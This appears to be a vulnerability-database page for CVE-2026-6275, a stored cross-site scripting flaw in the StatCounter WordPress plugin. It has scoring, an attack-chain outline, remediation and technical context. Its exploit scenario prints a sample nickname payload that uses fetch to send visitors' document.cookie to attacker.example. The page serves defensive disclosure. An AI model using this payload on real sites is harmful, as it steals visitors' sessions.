Skip to main content

StatCounter WordPress Plugin EUVDEUVD-2026-33250

| CVE-2026-6275 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-29 Wordfence GHSA-fm82-44w2-4gmf
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain WordPress Author-level account
  2. Delivery
    Set nickname to JavaScript payload string
  3. Exploit
    Publish post on target site
  4. Install
    Any visitor loads attacker-authored post page
  5. C2
    wp_head fires statcounter_addToTags()
  6. Execute
    Unescaped nickname breaks JS string context
  7. Impact
    Arbitrary script executes in victim's browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the attacker holds an authenticated WordPress account with Author-level access or higher (corresponding to CVSS PR:L) on the target site - Subscriber or lower roles cannot author posts and therefore cannot trigger the vulnerable code path. The StatCounter - Free Real Time Visitor Stats plugin must be installed, activated, and running version 2.1.1 or earlier. The attacker must be able to set a custom nickname in their WordPress user profile (standard functionality available to all Author-level accounts) and publish at least one post, which causes the statcounter_addToTags() function to fire on that post's page. No special server configuration, plugin settings, or non-default WordPress state is required beyond the plugin being active. The limiting factors that reduce risk below the raw CVSS score are: (1) the PR:L requirement - unauthenticated actors and Subscriber-level accounts cannot exploit this; (2) the need to author a published post, which may be auditable; and (3) sites with a single trusted author or where author registration is closed face negligible practical risk.

Impact

The CVSS 6.4 Medium score reflects a meaningful but bounded risk profile. AV:N confirms network-reachable exploitation; AC:L confirms no special conditions beyond account access are needed; PR:L confirms a low-privileged authenticated account (Author-level) is required, ruling out unauthenticated mass exploitation; UI:N confirms victims need not interact beyond visiting the page; S:C (Changed Scope) is the most significant vector component, indicating the vulnerability crosses security boundaries to affect users other than the attacker - victims' browsers execute attacker-controlled code. The real-world risk is highest for WordPress sites that allow registration or grant Author-level access to untrusted or semi-trusted users (e.g., multi-author blogs, contributor platforms). Sites where only trusted administrators or editors author posts face significantly reduced risk since the attacker primitive requires an existing account. No EPSS score was provided in the input data, so exploitation probability cannot be quantified numerically. KEV status is not confirmed, and no public proof-of-concept exploit code has been identified at time of analysis. Despite the absence of active exploitation evidence, the vulnerability is conceptually trivial to exploit - any attacker who can set their WordPress nickname to a crafted string and publish a post achieves persistent XSS delivery to all subsequent visitors of that post.

Exploit ScenarioDerived

An attacker with an Author-level WordPress account on a site running StatCounter plugin version 2.1.1 or earlier navigates to their profile settings and sets their nickname to a payload such as ";fetch('https://attacker.example/steal?c='+document.cookie);//. After publishing any post, every subsequent visitor to that post - including unauthenticated users - triggers the wp_head hook, which embeds the unescaped nickname into the inline JavaScript block, breaking out of the string literal and executing the injected fetch command, exfiltrating session cookies to the attacker's server. No proof-of-concept code has been publicly identified, but the attack requires no tooling beyond a standard browser and a WordPress account.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Stored cross-site scripting in the StatCounter - Free Real Time Visitor Stats WordPress plugin (versions up to and including 2.1.1) allows authenticated users with Author-level access or higher to inject arbitrary JavaScript into post pages by setting a crafted WordPress profile nickname. The unescaped nickname is embedded directly into a JavaScript string context within a <script> block rendered on every post page via the wp_head hook, causing the payload to execute in the browser of any visitor - including unauthenticated users - who loads a post authored by the attacker. No public exploit has been identified at time of analysis, but the low attack complexity (AC:L) and broad exposure surface (every post page on affected sites) make this a practical risk wherever sites permit untrusted Author-level accounts.

RemediationAI

Update the StatCounter - Free Real Time Visitor Stats plugin to version 2.1.2, which is indicated by a WordPress plugin repository changeset diffing the 2.1.1 tag against the 2.1.2 tag (https://plugins.trac.wordpress.org/changeset?old_path=%2Fofficial-statcounter-plugin-for-wordpress/tags/2.1.1&new_path=%2Fofficial-statcounter-plugin-for-wordpress/tags/2.1.2). The expected fix applies esc_js() or equivalent JavaScript-context escaping to the author nickname before it is echoed into the inline script block. Note that version 2.1.2 as a released stable plugin update is inferred from the repository changeset and has not been independently verified as a published WordPress.org release - confirm availability in the WordPress plugin directory before deploying. If an immediate update is not possible, the most actionable compensating control is to audit and restrict who holds Author-level access or higher on the affected site, since exploitation requires an authenticated Author account. Alternatively, deactivating the StatCounter plugin entirely eliminates the attack surface without affecting core site functionality, as the plugin provides analytics tracking only. Do not rely on input filtering at the nickname field alone, as the root cause is output-side escaping failure in the plugin's rendering function.

Affected VersionsENISA

StatCounter – Free Real Time Visitor Stats 0 ≤2.1.1

Affected Packages

euvd statcounter_free_real_time_visitor_stats no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the statcounter_addToTags() function within the StatCounter - Free Real Time Visitor Stats WordPress plugin (CPE: cpe:2.3:a:statcounter:statcounter_-_free_real_time_visitor_stats:*:*:*:*:*:*:*:*). This function is registered as a callback to the wp_head action hook, meaning it executes in the HTML <head> of every single post page on the WordPress site. The function retrieves the post author's nickname using the_author_meta() - a standard WordPress function that reads user metadata - and then echoes the value directly into a JavaScript double-quoted string literal inside an inline <script> block without applying WordPress's esc_js() function or any equivalent JavaScript-context escaping. CWE-79 (Improper Neutralization of Input During Web Page Generation / XSS) precisely describes this root cause: user-controlled input is output into an executable JavaScript context without sanitization. An attacker who controls their WordPress nickname can terminate the surrounding JS string with a double-quote, inject arbitrary script commands, and comment out the remainder of the line, achieving full stored XSS execution. The source code evidence is directly linked in the WordPress plugin repository at lines 274 and 266 of StatCounter-Wordpress-Plugin.php in the 2.1.1 tag.

Know when Statcounter gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (Wordfence) · only source for this CVE.

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The StatCounter - Free Real Time Visitor Stats plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.1 This is due to insufficient output escaping on the post author's nickname in the statcounter_addToTags() function. The function is hooked to wp_head and fires on every single post page. It retrieves the post author's nickname via the_author_meta() and echoes it directly into a JavaScript double-quoted string context inside a <script> block without applying esc_js() or any equivalent JavaScript-context escaping. This makes it possible for authenticated attackers with Author-level access and above to inject arbitrary web scripts into pages that will execute whenever any user (including unauthenticated visitors) accesses a post authored by the attacker.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy